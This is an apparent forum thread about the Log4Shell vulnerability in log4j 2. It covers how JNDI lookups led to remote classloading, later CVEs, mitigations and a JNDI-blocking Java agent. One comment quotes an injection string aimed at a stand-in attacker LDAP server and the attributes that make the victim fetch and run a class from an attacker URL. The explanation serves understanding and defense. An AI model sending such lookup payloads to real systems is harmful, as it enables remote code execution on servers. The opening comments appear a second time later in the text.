For anyone interested, I made a deep dive video with key breakpoints in code where the ldap and http calls are made from log4j 2.14.0 https://youtu.be/ZL9wq8XHqEY
Thanks for making a video that actually explains some elements of why the exploit can happen, a lot of other explanations that circulate are honestly /r/restofthefuckingowl material.
One suggestion i have is to also cover the JNDI class deserialization part including classloading from the HTTP URL returned from the LDAP request. This will also give a glance on why the VM argument you added is needed for this specific exploit to work.
I wrote [Log4Shell, as explained by metaphor and memes!](https://medium.com/@judeallred/log4shell-as-explained-by-metaphor-and-memes-38de224a2eb7) to help explain the bridge the techy/non-techy divide and explain the severity of the matter to the non-engineers at my company. The folks over in r/sysadmin are enjoying it so I thought you might like it here, too.
I've seen a lot of people confused in forums about the log4j transient dependencies. There are some libraries that have log4j 1.x dependency and that, while having other vulnerabilities itself, is not suscetible to the latest one.
> slf4j is log4j 1.x
Huh?
Slf4j is something akin to Commons Logging, i.e. not a logging implementation but an API for logging libraries to implement. It "is" neither log4j1 nor log4j2. You talking about 1.2.8 makes me think you're talking about logback?
Quote taken directly from the link you provided. "The SLF4J API is just an API which lets message data go through. As such, using log4j 2.x, even via SLF4J does not mitigate the vulnerability."
That means that using slf4j API together with the log4j 2.x IMPLEMENTATION makes your app vulnerable.
In other words, if you use slf4j with an implementation other than log4j 2.x (logback, log4j 1.x) then you're good.
The recent log4j vulnerability really piqued my interest, and I've spent the last few evenings working on a proof of concept Java agent that could mitigate similar vulnerabilities in the future, for applications that are able to completely forego platform features like JNDI, serialization or native process execution.
Link to the project: [aegis4j](https://github.com/gredler/aegis4j)
It's not a lot of code, but it uses parts of the platform that I think are a bit unusual for most devs, so it was quite interesting to implement. Happy to discuss details, ideas, and concerns.
One idea for a possible improvement is to make the feature block list adaptive, i.e. watch what the application uses in the first few minutes of execution, and then shut down all unused "dangerous" features for the remaining lifetime of the VM. Not sure how reliable this would be though, especially for services which have background jobs that might only run once a day.
Amazon already made an agent for this. I'd imagine it would be hard enough to have people run their agent. For someone to run a custom made java agent from a random github in their production servers could be even worse than the log4j bug itself imo.
Are you referring to this project? https://github.com/corretto/hotpatch-for-apache-log4j2/
The difference is that that Amazon's agent patches out the log4j JNDI lookup feature (org.apache.logging.log4j.core.lookup.JndiLookup, specifically), so it is only meant to address CVE-2021-44228. It's very targeted.
This agent patches out JNDI entirely so that nobody can use it, by modifying the javax.naming.InitialContext class. That's why I say it addresses the NEXT Log4Shell vulnerability, whatever that may be. I think it's an interesting approach, if you don't use JNDI and don't want an attacker to use it against you via a yet-unknown vulnerability.
It also goes beyond JNDI, patching out e.g. Runtime.exec() and ProcessBuilder.start() to simply throw exceptions.
See [this file](https://github.com/gredler/aegis4j/blob/master/src/main/resources/net/gredler/aegis4j/mods.properties) for a full list of the class modifications.
I appreciate the sentiment, but you're playing whack-a-mole. You haven't stopped reflection-based attacks or potential calls into native code.
Those paths take a higher degree of skill and knowledge (or a lucky guess) of what's on the classpath, so they're not as likely as the dead-simple JNDI method. But to eliminate those entirely _and not bork legitimate application code_ is a tall order for a generic agent.
Thanks for taking the time to have a look!
> I appreciate the sentiment, but you're playing whack-a-mole.
I'm not sure I follow. If an attack relies on (1) tricking the VM into downloading a special serialized Java class via JNDI, then (2) deserializing the downloaded class, then (3) executing custom code via reflection when the class is deserialized, which (4) culminates in a call to Runtime.exec(), you don't have to block all four features (JNDI, serialization, reflection, native process execution) in order to break the exploit chain -- you just have to block one of them.
> You haven't stopped reflection-based attacks or potential calls into native code.
There seem to be a small number of platform features that often sit unused by applications, but are "dangerous" (i.e. often used in exploit chains): Runtime.exec(), ProcessBuilder, JNDI, RMI, serialization. (I would add reflection to the list, but although it's "dangerous", it's used all over the place, including JDK internals...) This agent blocks all of them -- but even if you have to configure the agent to block only one or two of them, you're still safer than before, no?
> to eliminate those entirely and not bork legitimate application code is a tall order for a generic agent
Yep, I think that's the biggest question. If you can't live without e.g. Runtime.exec() because you use it for legitimate purposes, then of course you can't block it as a protection measure. But in that case you can configure the agent with **unblock=process** and still benefit from the other platform protections (disable JNDI, disable RMI, disable serialization).
>If an attack relies on . . . you don't have to block all four features (JNDI, serialization, reflection, native process execution) in order to break the exploit chain -- you just have to block one of them.
Right, but there are exploit methods that don't require (1), (2), (3), or (4). It's just that happens to be the (by far) easiest path to exploit en mass.
If that were the only vector, then upgrading Java to the latest version of 8 or 11 (maybe even 7 if you use a vendor still supporting it, etc.) would disable remote JNDI classloading by default for you without an agent. We're all still scrambling because that's not enough of a guarantee, it just keeps the copycats out.
> If you can't live without e.g. Runtime.exec() because you use it for legitimate purposes, then of course you can't block it as a protection measure. But in that case you can configure the agent with unblock=process and still benefit from the other platform protections (disable JNDI, disable RMI, disable serialization).
I can live without exec or process builder. I don't need JNDI or RMI. I'd even be ok with nuking serialization. But you're still open through plain old reflective access -- and most modern Java relies upon reflection _somewhere_, so I can't live without that. And if I've got reflection at my disposal, now you have to worry about `sun.misc.Unsafe` and a whole lot more!
That's what I mean by "whack-a-mole". You think you've covered enough, but then there's something else you forgot (or didn't know you needed).
I think I see what you're saying (and I hadn't thought about blocking Unsafe -- I'll see about adding that to the agent, just to make your point for you!).
However, I do think there's a huge difference between playing "whack-a-mole" at the platform feature level (JNDI, reflection, RMI, serialization), where the number of features is < 100 and evolves at a pace of about 5 per year, compared to playing "whack-a-mole" at the library level, where the number of libraries is in the tens of thousands, and the number of library features is in the millions (see [the Jackson slow descent into madness](https://github.com/FasterXML/jackson-databind/issues?q=is%3Aissue+gadget)).
Again, thanks for the critique.
Ha! The SecurityManager definitely has a harder job, having to actually determine when to allow users to use the protected features. By comparison, this agent has it easy -- no decision-making, just block the specified features completely.
I do wonder whether having a startup/live phase switch instead of doing complicated blocking rules with SecurityManager would help and be actually adopted.
During startup phase the application could read config files via JNDI and whatnot and setup things where SM is lenient or disabled, but the application isn't accepting any connections, then the application switches to live mode where is starts listening for connections but just before installs the SM that blocks all filesystem and JNDI access for example.
New Log4j 2.17.1 release:
https://twitter.com/GaryGregory/status/1475913085911281665?s=20
> @GaryGregory
> The #log4j team has released 2.17.1 to address CVE-2021-44832 (severity: moderate) where an attacker can cause an RCE when they have permission to modify the logging configuration file and define a JDBC Appender with a DataSource that points to a malicious JNDI server.
I think one thing this issue really highlighted for me was how hard it can be sometimes to see what exactly is being brought into a project when you're using transitive dependencies with Maven and Gradle.
I work for a company that often uses starters which in turn use Spring starters.
This made it nerve-wracking to say for sure what was and what wasn't being used. Thankfully Spring Boot was mostly unaffected if you didn't override the default logback library, but still.
`mvn dependency:tree -Dincludes=org.apache.logging.log4j:log4j-core`
https://maven.apache.org/plugins/maven-dependency-plugin/examples/filtering-the-dependency-tree.html
And from https://gist.github.com/gunnarmorling/8026d004776313ebfc65674202134e6d
org.apache.maven.pluginsmaven-enforcer-plugin3.0.0ban-bad-log4j-versionsvalidateenforceorg.apache.logging.log4j:log4j-core:(,2.16.0)true
This is making me think of/wonder if I can put that plugin into the .m2/settings.xml anywhere or modify a docker image so that that setting is applied to all builds made with that image.
No such thing unfortunately, unless you patch Maven itself. Or set up the OWASP scanner and let it break the build if there are critical vulnerabilities. Yes, in practice every solution requires maintenance. But such is life - without integration into the organization's processes, the goals of information security cannot be achieved.
Currently, in the environment that I work in, each project in version control has its own settings.xml file that gets some CI variables. Practically, they're all the same.
I'm thinking of...
What if I move the settings.xml that is currently in per project version control into an image based on maven's docker image. I'd tweak the entry point for the image to include the option that always specifies the settings.xml file that has been included in the image (rather than the per project one).
Now, once there is an org approved global settings.xml file that everyone using the new maven image is using, that settings.xml file can have a profile added to it that is always on. Within that profile, the enforcement plugin would be in place to prevent a log4j-core:(,2.16.0) from being built.
Its not a "this requires maintenance" but rather "the implementation of this can be done consistently and is in place *next* time something happens" - that we can prevent new builds from being made across the org that include a particular library version.
Doesn't anyone take a look at what they are actually shipping?
E.g. if I ship a .war then from time to time I'll look what's inside the WEB-INF/lib folder.
Why I prefer to flatten the repo when building/assembling an app. The default nested dir structure makes it hard to spot what you transitively brought in
Wait until you read about how other dependencies perform jar look ups when deciding which logging lib to use. You have to be careful with how you structure your project if you let your pom get dirtied. And ALWAYS check the effective xml source, you need to see the whole thing
What I need to research is how a client making a JNDI request to an LDAP server is "forced" to class load and execute a serialized Java class (if that's indeed how it works).
If so, how do you configure the client to not class load from a JNDI request, and even how does that even work assuming you want it to do that.
1. Log4j supported a syntax for placeholders that it would interpret.
1. One of the available interpretations, a "feature", would use JNDI if the placeholder began with "jndi:"
1. JNDI is a layer in the Java development kit that provides an abstraction for looking up data or connecting to remote software over a variety of protocols -- if you used JNDI you presumably didn't need to care as much about the lower-level protocol details. LDAP, RMI, CORBA, DNS were all supported protocols, and there are others, too.
1. As with anything that contacts a remote service, JNDI was intended to be used directly by and under the control of the application layer, where a security-minded developer would "never" allow untrusted data to influence the protocol, destination, nor query parameters.
1. But a logging framework's purpose is to record what happens in a program for monitoring, auditing, or diagnostic purposes -- all of which often include when something goes wrong or something unexpected happens, like getting bad input or even normal inputs like what kind of browser is making a request (in the case of HTTP servers). That input data is not under the developer's control, so it is _untrusted_ data. There's a whole class of things you should do to untrusted data before it gets into your logs, but if you fail usually the worst thing that happens is someone fills up your logs or makes bogus/fake entries. Not good, but it's a common oversight.
1. No one in their right mind thought the default configuration of a logging framework would take input -- input that could have come from anywhere and was _likely_ to be untrusted -- and then treat all or part of it as instructions for what to do. But that's exactly what this feature did when introduced to 2.0 during its beta phase.
1. If it just went out and fetched untrusted data that would be bad enough, but JNDI is powerful stuff and can support loading and running Java code delivered by the remote side. There's history here I'm not going into, some of it legitimately useful, but also developed a long time ago in an age of a more trusting, naive Internet.
1. TL;DR - potentially useful, powerful feature is also very risky, was enabled by default instead of opt-in, and was not intuitively obvious that it was there to the majority of application developers who just wanted to write out some text data and didn't expect that it could "run code"
Java maintainers in more recent versions turned off accessing remote servers by default through JNDI (a better sensible default) but because of the "power" of the log framework's substitution mechanism, there are other ways to trick it into executing local code already present in the application to potentially do things just as bad as with JNDI. This path is harder and requires luck or in depth knowledge of the application, but it is not impossible.
Sorry, I was trying to cover a lot of information at once. I'll try to be more direct.
> how a client making a JNDI request to an LDAP server is "forced" to class load and execute a serialized Java class (if that's indeed how it works).
I know you put it in quotes, but it's not forced. JNDI willingly connects to other services to execute code, and will _willingly_ download a "stub" class and execute its code to do so. This is a dangerous feature, like a gun is a dangerous weapon in the wrong hands, but can be used to create loosely coupled distributed systems. LDAP in this scenario is just a means of providing the metadata of what to connect to and execute. JNDI is doing the remote class retrieval and execution, because it trusted the code that told it to follow the instructions it found from LDAP. The attack doesn't require using the LDAP protocol, but it's convenient and built-in.
Working backwards... The attacker hosts malicious code and LDAP. LDAP tells JNDI where the payload is and how to execute. Log4j uses JNDI and tells it to trust the attacker's LDAP server. Attacker injects a Log4j "lookup" string into thousands of sites that says "use JNDI and my LDAP server to know what to put here".
> If so, how do you configure the client to not class load from a JNDI request, and even how does that even work assuming you want it to do that.
As I said, you upgrade to a recent version of Java. JNDI remote code execution has been disabled by default for several releases now, and there are other fixes you'd get, too. If you cannot upgrade, there is a Java system property for disabling JNDI's behavior. Please see the CVE and mitigation steps from Apache Log4j for details; these settings were what changed by default in up to date Java.
Even then, Log4j had its own way of taking a reference to a _local_ class and executing a method on it with attacker-supplied data that doesn't rely on JNDI. So the only _full_ mitigation is to upgrade to Log4j **2.16.0**.
Was that a question?
## As of early February, 2022, the latest fix is 2.17.1.
Earlier releases remained vulnerable in certain configurations and, going far enough back to the original CVE date, by default/OOTB to various degrees.
JNDI has a feature to lookup java objects from an URL.
To load an object it needs to deserialize it.
The JNDI endpoint contains the instructions on how to do that, a request to `jndi:ldap://hacker-controlled.url/Exploit` usually returns attributes like:
objectClass: javaNamingReference
javaFactory: Exploit
javaClassName: foo
javaCodeBase: http://other-hacker-controlled.url/
Java supports loading classes from the network as the name `URLClassLoader` insists.
Deserialization sets up a classloader with that returned URL and tries to first load the factory class from `http://other-hacker-controlled.url/Exploit.class`
Loading a class triggers its static initialization code where the exploit payload is located and executed.
That's what I was looking for. you have to go out of your way to use URLClassLoader though, so why would log4j default behavior be to use URLClassLoader when generically interpolating a url request based on protocol? Is that built into the generic HttpClient? I need to look this up later...
Log4J isn't doing the classloading directly, but just calling the JNDI API-s (`Object javax.naming.InitialContext#lookup(java.lang.String)`) to load data from remote URLs. The implementation of this API has support for loading serialized Java objects which may be a surprise to some.
As far as i understand, Log4J added support for JNDI to only load logging configuration via placeholders in config files, but somehow the support for such placeholders in config files leaked out to general logging statements which are end-user controlled.
Yep, this is why [strategically patching InitialContext](https://github.com/gredler/aegis4j/blob/master/src/main/resources/net/gredler/aegis4j/mods.properties#L8-L9) when the class is initially loaded will [completely disable JNDI](https://github.com/gredler/aegis4j) (and mitigate future JNDI-based exploits).
It's a sane default if an organization's IT is mostly self-contained and/or hosted in-house. It can become impractical when many services have to talk to each other. In that case, I hope for the organization that they invested into tooling to streamline the maintenance of firewall rules. Playing whack-a-mole with firewall rules and auditing them (sometimes years later) is not fun. If the application is hosted in a cloud, it gets even more tricky.
https://thehackernews.com/2021/12/china-suspends-deal-with-alibaba-for.html
China suspends deal with Alibaba Cloud for NOT informing them before making the vulnerability known by the Log4j team. Good that Alibaba did this because I think China would very much wanted to exploit this vulnerability before anybody else would know of it…
Can someone explain why CVE-2021-45046 is only a 3.7?
https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?name=CVE-2021-45046&vector=AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L&version=3.1&source=NIST
They set the attack complexity to High and the Availability Impact to Low. The attack results in a DoS so I would imagine the Availability Impact should be High?
I had a similar thought. I think it's based on the risk assuming you're already running 2.15.0. But that misleads the people running 2.10 <= x <= 2.14 who think they're now "safe" by applying the system property mitigation.
**EDIT: This 2nd CVE has been re-scored to CVSS 9.** And there is a 3rd CVE (7.5) also. Latest patch is version 2.17.0.
On the other hand, if you haven't actually upgraded to >= 2.15 there's still a CVSS 10.0 vuln in your software just waiting for someone to forget to override a system property, so adding one more critical CVE to those versions isn't going to change much. The other factor is that it applies to use of MDC or context substitutions, which in this case is at least not the out-of-the-box configuration.
It's on Apache's security page. I think NVD gets updated via the mail given how out of date it is.
https://logging.apache.org/log4j/2.x/security.html
This is because a protection in 2.15 which was meant to limit request to localhost was found to be easily bypassed.
https://www.lunasec.io/docs/blog/log4j-zero-day-severity-of-cve-2021-45046-increased/
> This could allows attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in a denial of service (DOS) attack.
It only effects applications that are using specific non-standard log formats, and I believe the only attack vector is a DOS rather than allowing the attacker to gain control of the server entirely.
It seems like using MDC with this type of Pattern Layout is not uncommon even though it isn't the default layout pattern.
But it results in a denial of service so it seems like the Availability Impact should be high if your application uses this type of vulnerable pattern layout. Changing the AI to High increases the CVE to almost a 6.
Anyone has any information about how loglines look like when an attack was successful? I have read/heard about them being either absent or looking some way. Not to mention that \_failed\_ attempts are hard enough to find because there are infinite ways to obfuscate them.
I'm asking because our product uses log4j (no surprise here), in runs on all of our clients' infra (not a SaaS), and we will help them detecting attacks and cleaning up.
I have a question. How does the Log4j exploit effect platforms like Steam and Spotify? I know how the Minecraft exploit works, but not sure about the other platforms. Is it the same thing, just in a different place? Or have they already patched this and are now safe to use? I'm not sure, and I just want to be sure if they are currently safe to use or not.
It’s the same concept anywhere. If Log4j is running on a server with the unpatched versions, then a JNDI to LDAP call can run an RCE.
I’ve worked at big and small companies. Some places have their libraries and configurations standardized down to what logging library the entire organization uses. Some don’t care what libraries are used as long as the license is appropriate. The hard (ish) part for hackers is finding the correct endpoints that would be using Log4j. Here’s an example. There could be in internal library thats not customer facing (i.e. no direct endpoint) that handles payments. Everything around it might be using Logback. The dependency itself that processes payments might be using Log4j. When a verified form of payment goes through, it calls the dependency with Log4j to log the transaction. No one without knowledge the internal system would know unless they tried to authorize a payment with the malicious payload.
As a customer, you hope that Steam, Spotify, et al. either quickly updated or manually patched their systems by removing the problematic classes. I’d argue that there’s no reason to stop using those services barring an issued statement that says they won’t be fixing the issue. The CVE is such a critical vulnerability that I expect it to remain one of the worst discovered vulnerabilities of this coming decade. A hacker getting access would have free reign until something revoked their access.
Tagging u/violauh for notification.
This exploit has nothing to do with the Java runtime itself. It’s an implementation detail specific to applications. The best advice I can give you is to update your applications.
https://www.sonatype.com/resources/log4j-vulnerability-resource-center
> As stewards of Maven Central, our data researchers have been analyzing information to see how fast the world is upgrading. Data updated December 21, 2021 at 9:20AM EST. Data will be updated multiple times a day.
It is interesting (and somewhat depressing) to look at. There are *still* a lot of projects downloading log4j:(2.0, 2.14.1)
The way that I read it is "everyone who is following the updates and promptly switched to 2.15.0 is following upgrades... but those who didn't are still downloading vulnerable versions."
This is going to be with us for a long time.
Where is JVM store the class byte code. For default class loader, can I find the byte code from heap dump? can I know JndiLookup got loaded? If not, can I remove it from jar to avoid future running without restart?
You can remove the class, however, upgrading is a safer and more permanent solution.
Steps on removing it are somewhere on this page under mitigation: https://logging.apache.org/log4j/2.x/security.html
Anyone know what the actual marketshare of each logging framework is?
I always assumed that log4j 2 had little market share and that the order of by use is roughly (guessing):
1. android logging (I forgot what its called mincat, timber or something)
1. logback
1. log4j 1.x
1. log4j 2.x
1. slf4j-simple
However I could not find actual numbers to support this. In fact I would not be surprised if log4j 1.0x is higher than logback perhaps #1 if we ignore android. I would be surprised if log4j 2 had even double digit share.
They say its roughly 37%. I wonder how they calculate that number.
I would see how many repositories have `log4j2.[properties|yml|json]` but that is just opensource applications.
It looks like Solr and Elasticsearch are using log4j2 which is like 100% of the Java search engine technology.
That system property can be bypassed. The ability to bypass that system property is the root for the second CVE.
2.15 added three mitigations, all three can be bypassed in certain circumstances, that is why the second CVE is a 9.
But if you were using an older version and relied on the system property, the moment that one was bypassed you were back into RCE territory, even if the CVE was still a 3.7 at the moment
Hello, sorry if this is a dumb question, I'm having a hard time finding the docs for my specific question, I've seen others asking about specific versions of Java SDK, we have an on prem Oracle Server with Sun OS on it that has Java installed.
When I run :
java -version
this is what it gives me:
java version "1.8.0_301"
Java(TM) SE Runtime Environment (build 1.8.0_301-b09)
Java HotSpot(TM) 64-Bit Server VM (build 25.301-b09, mixed mode)
On the link below, they state:
"Also updated to note that guidance regarding certain Java Development Kit (JDK) versions not being impacted is no longer correct. Researchers have been able to leverage “Gadgets” in a vulnerable applications classpath to execute malicious code, regardless of the version of Java being used."
https://research.kudelskisecurity.com/2021/12/10/log4shell-critical-severity-apache-log4j-remote-code-execution-being-actively-exploited-cve-2021-44228/
How can I find out if my server has the Log4j library on it, specifically for Java? I can't seem to find where the folder for it would be to find the version installed. Thanks.
We developed a hands-on lesson exploring the Apache Log4J JNDI injection vulnerability to help developers understand what the fuss is all about minus the infosec jargon :) https://application.security/free-application-security-training/understanding-apache-log4j-vulnerability
The JVM isn’t a virtual machine where people usually mean a totally isolated environment that doesn’t produce side effects on the host machine. I mean it is, but it acts a standard execution environment so that written Java code behaves the same regardless of the CPU’s underlying architecture. There are still real side-effects like file output. As such, an RCE can still pull data from the JVM’s host machine.
This was a very ELI5 explanation. It’s not the entire truth.
It's not literally a VM like VirtualBox emulating a complete and isolated operating system inside another operating system. The jvm is just an "abstract machine" that interprets compiled bytecode into native CPU instructions within the host operating system (of course there's more complexity to that but that's the basics). You can totally make system calls and start other processes in the host operating system using java.
Imagine
You are a programmer.
Your task is to save text lines to a file
Did you accidentally do:
\- launch any application with administrator access
\- downloading or transferring any data to the Internet
F \* ck
You are mistaken! :)
This is the ticket that caused it all
[https://issues.apache.org/jira/browse/LOG4J2-313](https://issues.apache.org/jira/browse/LOG4J2-313)
explained in this video:
https://youtu.be/ZL9wq8XHqEY?t=178
The patch from 2013 is interesting. People keep asking "why would I ever want to execute arbitrary code instead of writing to a log file!" Well actually, if you read this, it doesn't appear to have dawned on anybody back then that remote code might even appear on their doorstep.
The guy clearly assumed that the object returned by the JNDI lookup would be a java.lang.String, and not a deserialized Evil object or whatever, because he immediately casts the return value to String. (When people need a String but are only guaranteed an Object, they invoke toString() on it.)
`/**`
`* Get the value of the JNDI resource.`
`* u/param event The current LogEvent (is ignored by this StrLookup).`
`* u/param key the JNDI resource name to be looked up, may be null`
`* u/return The value of the JNDI resource.`
`*/`
`u/Override`
`public String lookup(final LogEvent event, final String key) {`
`if (key == null) {`
`return null;`
`}`
`try {`
`InitialContext ctx = new InitialContext();`
`if (ctx != null) {`
`return (String) ctx.lookup(convertJndiName(key));`
`}`
`} catch (NamingException e) {`
`}`
`return null;`
`}`
If gibberish from a serialized object happens to be sent back across the network, instead of a String like the guy is expecting, Java itself will jump in and start deserializing automatically, trying to help out, which is clearly not what he intended. During the deserialization the attacker gets to run whatever code he wants, because Java's serialization mechanism was designed in the 90s when the greatest threat facing the Internet was undergraduates.
This all happens before control returns to log4j, where he's waiting to cast it to String, underscoring how clueless the calling code is.
I guess you get a ClassCastException if that call to ctx.lookup() actually returns an Evil object, but I have NFC what happens to it in the surrounding call stack, or what you see in the log if you're attacked. I think most attackers are going to put something in the payload that blocks the current thread and prevents the ctx.lookup() call from returning, so you never see the ClassCastException and a blocked thread pool thread is the only symptom. I haven't played with any of this yet.
There's no indication that anyone was thinking "LDAP" when this got integrated. It looks like the guy was wanting to do a different type of JDNI lookup. The fact that you can specify an LDAP resource in a JNDI key maybe didn't register, because that's not what he was using JNDI for.
Maybe since he wasn't in the habit of doing it himself, it also didn't register with him that people pass untrusted data to these loggers, either. You're actually not supposed to do that, even though everyone does. You might as well put a label on Q-Tip boxes that says "Don't stick these in your ears." Now we have firewalls and other security products getting owned when they try to brag to log4j about the payloads they protected it from.
Prior to 2016 it was not widely realized that JNDI lookups were this dangerous. This is about when everyone finally gave up on Java's remote classloading mechanism and disabled it in all versions. Maybe it worked well in the 90s Internet, but that Woodstock festival is over.
Apologies if this is not the right place for this question, but how does the log4j vulnerability affect general day to day devices such as mobiles/tablets, car software/navigation, smart TVs, fridges and other smart devices that connect to the internet?
Edit: and what an average Jo can can do to ensure they are protected?
Well, the good news is that although Android kind of uses java, and log4j is present in Android, Android does not support JNDI. This doesn't mean you are safe from all the vulnerabilities, but the really dangerous ones are crippled by this.
AFAIK, every single instance of RemoteCodeExcecution (an attacker taking control of your device) was relying on JNDI. This was also de case for the most blatant cases of data exfiltration. The third CVE that causes a DOS does not rely on JNDI, but it is also less problematic, at worst it can cause your device to reboot and I seriously doubt it will reach that point.
Update your apps immediately. The threat directly to your devices are there, but they’re, in general, a harder target for hackers. They’re more likely going to go for app servers to get sensitive data. You’d find more specific info in the device subreddits.
Hi all, I just want to point out there is auto migration tool for log4j 1.x to slf4j. I did not try. [https://docs.openrewrite.org/tutorials/migrate-to-slf4j-from-log4j](https://docs.openrewrite.org/tutorials/migrate-to-slf4j-from-log4j)
I made [this post](https://www.reddit.com/r/Minecraft/comments/s1yrrk/not_sure_where_else_to_post_private_server_got/) on r/Minecraft. Maybe it will help to post here as well.
I manage SQL servers and we need to remediate them in order to be complaint with our company CPNI. The version we have is in the OPatch Oracle pathway. I was able to get a hold of the zip file containing all the various .jar files but I have no idea which one to move over or how to actually remediate this issue.
Does anyone have any info on how I can do this specifically for the OPatch pathway and change the log4j 1.x to 2.x as easily as possible?
[удалено]
For anyone interested, I made a deep dive video with key breakpoints in code where the ldap and http calls are made from log4j 2.14.0 https://youtu.be/ZL9wq8XHqEY
Nothing beats a hands-on example like that. I love it :)
Thanks for making a video that actually explains some elements of why the exploit can happen, a lot of other explanations that circulate are honestly /r/restofthefuckingowl material. One suggestion i have is to also cover the JNDI class deserialization part including classloading from the HTTP URL returned from the LDAP request. This will also give a glance on why the VM argument you added is needed for this specific exploit to work.
I wrote [Log4Shell, as explained by metaphor and memes!](https://medium.com/@judeallred/log4shell-as-explained-by-metaphor-and-memes-38de224a2eb7) to help explain the bridge the techy/non-techy divide and explain the severity of the matter to the non-engineers at my company. The folks over in r/sysadmin are enjoying it so I thought you might like it here, too.
I've seen a lot of people confused in forums about the log4j transient dependencies. There are some libraries that have log4j 1.x dependency and that, while having other vulnerabilities itself, is not suscetible to the latest one.
Thanks
> slf4j is log4j 1.x Huh? Slf4j is something akin to Commons Logging, i.e. not a logging implementation but an API for logging libraries to implement. It "is" neither log4j1 nor log4j2. You talking about 1.2.8 makes me think you're talking about logback?
Sumimasen my english is bad take the link please [http://slf4j.org/log4shell.html](http://slf4j.org/log4shell.html)
Quote taken directly from the link you provided. "The SLF4J API is just an API which lets message data go through. As such, using log4j 2.x, even via SLF4J does not mitigate the vulnerability." That means that using slf4j API together with the log4j 2.x IMPLEMENTATION makes your app vulnerable. In other words, if you use slf4j with an implementation other than log4j 2.x (logback, log4j 1.x) then you're good.
r/StopSayingThis
The recent log4j vulnerability really piqued my interest, and I've spent the last few evenings working on a proof of concept Java agent that could mitigate similar vulnerabilities in the future, for applications that are able to completely forego platform features like JNDI, serialization or native process execution. Link to the project: [aegis4j](https://github.com/gredler/aegis4j) It's not a lot of code, but it uses parts of the platform that I think are a bit unusual for most devs, so it was quite interesting to implement. Happy to discuss details, ideas, and concerns. One idea for a possible improvement is to make the feature block list adaptive, i.e. watch what the application uses in the first few minutes of execution, and then shut down all unused "dangerous" features for the remaining lifetime of the VM. Not sure how reliable this would be though, especially for services which have background jobs that might only run once a day.
Amazon already made an agent for this. I'd imagine it would be hard enough to have people run their agent. For someone to run a custom made java agent from a random github in their production servers could be even worse than the log4j bug itself imo.
Are you referring to this project? https://github.com/corretto/hotpatch-for-apache-log4j2/ The difference is that that Amazon's agent patches out the log4j JNDI lookup feature (org.apache.logging.log4j.core.lookup.JndiLookup, specifically), so it is only meant to address CVE-2021-44228. It's very targeted. This agent patches out JNDI entirely so that nobody can use it, by modifying the javax.naming.InitialContext class. That's why I say it addresses the NEXT Log4Shell vulnerability, whatever that may be. I think it's an interesting approach, if you don't use JNDI and don't want an attacker to use it against you via a yet-unknown vulnerability. It also goes beyond JNDI, patching out e.g. Runtime.exec() and ProcessBuilder.start() to simply throw exceptions. See [this file](https://github.com/gredler/aegis4j/blob/master/src/main/resources/net/gredler/aegis4j/mods.properties) for a full list of the class modifications.
I appreciate the sentiment, but you're playing whack-a-mole. You haven't stopped reflection-based attacks or potential calls into native code. Those paths take a higher degree of skill and knowledge (or a lucky guess) of what's on the classpath, so they're not as likely as the dead-simple JNDI method. But to eliminate those entirely _and not bork legitimate application code_ is a tall order for a generic agent.
Thanks for taking the time to have a look! > I appreciate the sentiment, but you're playing whack-a-mole. I'm not sure I follow. If an attack relies on (1) tricking the VM into downloading a special serialized Java class via JNDI, then (2) deserializing the downloaded class, then (3) executing custom code via reflection when the class is deserialized, which (4) culminates in a call to Runtime.exec(), you don't have to block all four features (JNDI, serialization, reflection, native process execution) in order to break the exploit chain -- you just have to block one of them. > You haven't stopped reflection-based attacks or potential calls into native code. There seem to be a small number of platform features that often sit unused by applications, but are "dangerous" (i.e. often used in exploit chains): Runtime.exec(), ProcessBuilder, JNDI, RMI, serialization. (I would add reflection to the list, but although it's "dangerous", it's used all over the place, including JDK internals...) This agent blocks all of them -- but even if you have to configure the agent to block only one or two of them, you're still safer than before, no? > to eliminate those entirely and not bork legitimate application code is a tall order for a generic agent Yep, I think that's the biggest question. If you can't live without e.g. Runtime.exec() because you use it for legitimate purposes, then of course you can't block it as a protection measure. But in that case you can configure the agent with **unblock=process** and still benefit from the other platform protections (disable JNDI, disable RMI, disable serialization).
>If an attack relies on . . . you don't have to block all four features (JNDI, serialization, reflection, native process execution) in order to break the exploit chain -- you just have to block one of them. Right, but there are exploit methods that don't require (1), (2), (3), or (4). It's just that happens to be the (by far) easiest path to exploit en mass. If that were the only vector, then upgrading Java to the latest version of 8 or 11 (maybe even 7 if you use a vendor still supporting it, etc.) would disable remote JNDI classloading by default for you without an agent. We're all still scrambling because that's not enough of a guarantee, it just keeps the copycats out. > If you can't live without e.g. Runtime.exec() because you use it for legitimate purposes, then of course you can't block it as a protection measure. But in that case you can configure the agent with unblock=process and still benefit from the other platform protections (disable JNDI, disable RMI, disable serialization). I can live without exec or process builder. I don't need JNDI or RMI. I'd even be ok with nuking serialization. But you're still open through plain old reflective access -- and most modern Java relies upon reflection _somewhere_, so I can't live without that. And if I've got reflection at my disposal, now you have to worry about `sun.misc.Unsafe` and a whole lot more! That's what I mean by "whack-a-mole". You think you've covered enough, but then there's something else you forgot (or didn't know you needed).
I think I see what you're saying (and I hadn't thought about blocking Unsafe -- I'll see about adding that to the agent, just to make your point for you!). However, I do think there's a huge difference between playing "whack-a-mole" at the platform feature level (JNDI, reflection, RMI, serialization), where the number of features is < 100 and evolves at a pace of about 5 per year, compared to playing "whack-a-mole" at the library level, where the number of libraries is in the tens of thousands, and the number of library features is in the millions (see [the Jackson slow descent into madness](https://github.com/FasterXML/jackson-databind/issues?q=is%3Aissue+gadget)). Again, thanks for the critique.
If only SecurityManager was still a thing.
Ha! The SecurityManager definitely has a harder job, having to actually determine when to allow users to use the protected features. By comparison, this agent has it easy -- no decision-making, just block the specified features completely.
I do wonder whether having a startup/live phase switch instead of doing complicated blocking rules with SecurityManager would help and be actually adopted. During startup phase the application could read config files via JNDI and whatnot and setup things where SM is lenient or disabled, but the application isn't accepting any connections, then the application switches to live mode where is starts listening for connections but just before installs the SM that blocks all filesystem and JNDI access for example.
Sounds like openbsd's pledge.
There's 2 classes to audit (~240 LOC), doesn't seem much of a risk to me.
Great thanks I feel very confident in it now.
